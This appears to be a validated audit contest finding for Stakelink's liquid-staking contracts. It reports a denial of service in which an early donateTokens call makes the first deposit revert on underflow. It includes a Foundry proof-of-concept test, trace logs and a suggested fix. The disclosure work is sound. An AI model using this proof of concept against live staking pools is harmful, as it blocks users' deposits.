Liquid Staking
Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Denial of Service Via Incorrect Share Calculation on Initial Donation

galturok

Summary

The StakingPool contract allows a malicious actor to halt all deposit activities and the minting of staking tokens. This denial of service is exploitable due to an underflow error triggered during the minting of shares.

Vulnerability Details

The core issue lies in the handling of initial share minting within the StakingRewardsPool contract. During the very first mint, the contract allocates "dead shares" to the zero address to prevent vault inflation attacks. However, if the totalStaked becomes non-zero prior to legitimate deposits (e.g., through a call to donateTokens), the function getSharesByStake calculates shares using a formula that results in zero shares whenever totalShares is zero.

Specifically, in getSharesByStake, for the first intended user deposit, the return calculation follows:

https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/base/StakingRewardsPool.sol#L79C1-L86C6

function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
if (totalStaked == 0) {
return _amount;
} else {
@>> return (_amount * totalShares) / totalStaked;
}
}
​

https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/StakingPool.sol#L433C1-L437C6

function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
@>> totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
​

Because totalShares remains zero if donateTokens is called before the first deposit, the resultant shares are zero, causing the subsequent underflow when DEAD_SHARES is subtracted from _amount within _mintShares.

Impact

The vulnerability results in a denial of service, as the underflow triggers a contract revert whenever an initial deposit is attempted post token donation.

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
​
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../lib/forge-std/src/Test.sol";
import "../contracts/core/priorityPool/PriorityPool.sol";
import "../contracts/core/priorityPool/WithdrawalPool.sol";
import "../contracts/core/StakingPool.sol";
import "./MockERC20.sol";
import "./SDLPoolMock.sol";
import "./LSTMock.sol";
import "./StrategyMock.sol";
​
​
​
contract PriorityPoolTest is Test {
PriorityPool public priorityPool;
PriorityPool public logic;
ERC1967Proxy public priorityPoolproxy;
ERC1967Proxy public withdrawalPoolproxy;
ERC1967Proxy public stakingPoolProxy;
ERC1967Proxy public strategyMockProxy;
MockERC20 public mockToken;
LSTMock public lstMock;
WithdrawalPool public withdrawalPool;
StakingPool public stakingPool;
SDLPoolMock public sdlPool;
StrategyMock public strategyMock;
​
​
address public user = address(25);
​
address public feeReceiver1 = address(0xBEE1);
address public feeReceiver2 = address(0xBEE2);
uint256 public unusedDepositLimit = 5 ether;
​
function setUp() public {
​
mockToken = new MockERC20("Mock Token", "MOCK", 1000 ether);
​
sdlPool = new SDLPoolMock();
​
lstMock = new LSTMock("LST Mock", "LST", 1000 ether);
​
logic = new PriorityPool(); // Deploy the implementation contract
​
// Define the fees
StakingPool.Fee[] memory fees = new StakingPool.Fee[]();
fees[0] = StakingPool.Fee({receiver: feeReceiver1, basisPoints: 100});
fees[1] = StakingPool.Fee({receiver: feeReceiver2, basisPoints: 200});
​
WithdrawalPool withdrawalPoolLogic = new WithdrawalPool();
StakingPool stakingPoolLogic = new StakingPool();
StrategyMock strategyMockLogic = new StrategyMock();
​
​
stakingPoolProxy = new ERC1967Proxy(
address(stakingPoolLogic),
abi.encodeWithSelector(
StakingPool.initialize.selector,
address(mockToken), // Mock ERC20 token address
"stakingToken",
"SKT",
fees, // _fees
unusedDepositLimit // _unusedDepositLimit
)
);
​
stakingPool = StakingPool(address(stakingPoolProxy));
​
strategyMockProxy = new ERC1967Proxy(
address(strategyMockLogic),
abi.encodeWithSelector(
StrategyMock.initialize.selector ,
address(mockToken),
address(stakingPool),
100 ether,
5 ether
)
);
​
strategyMock = StrategyMock(address(strategyMockProxy));
​
// Deploy proxy with initialize function
priorityPoolproxy = new ERC1967Proxy(
address(logic),
abi.encodeWithSelector(
PriorityPool.initialize.selector,
address(mockToken), // Mock ERC20 token address
stakingPool,
sdlPool,
uint128(1 ether), // queueDepositMin
uint128(10 ether) // queueDepositMax
)
);
​
// Cast the proxy to PriorityPool
priorityPool = PriorityPool(address(priorityPoolproxy));
​
withdrawalPoolproxy = new ERC1967Proxy(
address(withdrawalPoolLogic),
abi.encodeWithSelector(
WithdrawalPool.initialize.selector,
address(mockToken), // Mock ERC20 token address
address(stakingPool),
address(priorityPool),
uint256(1 ether), // min withdraw
uint64(1000) // time between withdrawals
)
);
​
withdrawalPool = WithdrawalPool(address(withdrawalPoolproxy));
​
// Set Withdrawal Pool
priorityPool.setWithdrawalPool(address(withdrawalPool));
​
stakingPool.addStrategy(address(strategyMock));
stakingPool.setPriorityPool(address(priorityPool));
}
​
​
​
function testDOSfirstDonation() public {
uint256 initialBalance = mockToken.balanceOf(user);
​
// Transfer some tokens to user
mockToken.transfer(user, 100 ether);
​
// Approve PriorityPool to spend user's tokens
vm.startPrank(user);
mockToken.approve(address(priorityPool), 100 ether);
mockToken.approve(address(stakingPool), 1 ether);
​
// Attack
stakingPool.donateTokens(1);
​
// Deposit tokens into the PriorityPool
priorityPool.deposit(50 ether, true, new bytes[](2));
​
vm.stopPrank();
}
​
}
​

Logs

│ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ └─ ← [Return] 99999999999999999999 [9.999e19]
│ │ │ └─ ← [Return] 99999999999999999999 [9.999e19]
│ │ ├─ [115001] ERC1967Proxy::deposit(0x0000000000000000000000000000000000000019, 50000000000000000000 [5e19], [0x, 0x])
│ │ │ ├─ [114560] StakingPool::deposit(0x0000000000000000000000000000000000000019, 50000000000000000000 [5e19], [0x, 0x]) [delegatecall]
│ │ │ │ ├─ [562] MockERC20::balanceOf(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall]
│ │ │ │ │ └─ ← [Return] 1
│ │ │ │ ├─ [5598] MockERC20::transferFrom(ERC1967Proxy: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 50000000000000000000 [5e19])
│ │ │ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], to: ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], value: 50000000000000000000 [5e19])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ ├─ [562] MockERC20::balanceOf(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall]
│ │ │ │ │ └─ ← [Return] 50000000000000000001 [5e19]
│ │ │ │ ├─ [3150] ERC1967Proxy::canDeposit() [staticcall]
│ │ │ │ │ ├─ [2755] StrategyMock::canDeposit() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ ├─ [54524] ERC1967Proxy::deposit(50000000000000000001 [5e19], 0x)
│ │ │ │ │ ├─ [54120] StrategyMock::deposit(50000000000000000001 [5e19], 0x) [delegatecall]
│ │ │ │ │ │ ├─ [27498] MockERC20::transferFrom(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], ERC1967Proxy: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 50000000000000000001 [5e19])
│ │ │ │ │ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: ERC1967Proxy: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 50000000000000000001 [5e19])
│ │ │ │ │ │ │ └─ ← [Return] true
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Return]
│ │ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
└─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
​

Tools Used

Foundry

Recommendations

To prevent an attacker from becoming the first contributor and skewing the totalStaked logic, you can add a require statement in the donateTokens function to ensure that the donation can only occur if the totalStaked is already non-zero.

function donateTokens(uint256 _amount) external {
++ require(totalStaked > 0, "Donations can only occur after initial staking");
token.safeTransferFrom(msg.sender, address(this), _amount);
totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
​
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

donateTokens() allows a malicious user to manipulate the system in such a way that users may receive 0 shares.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.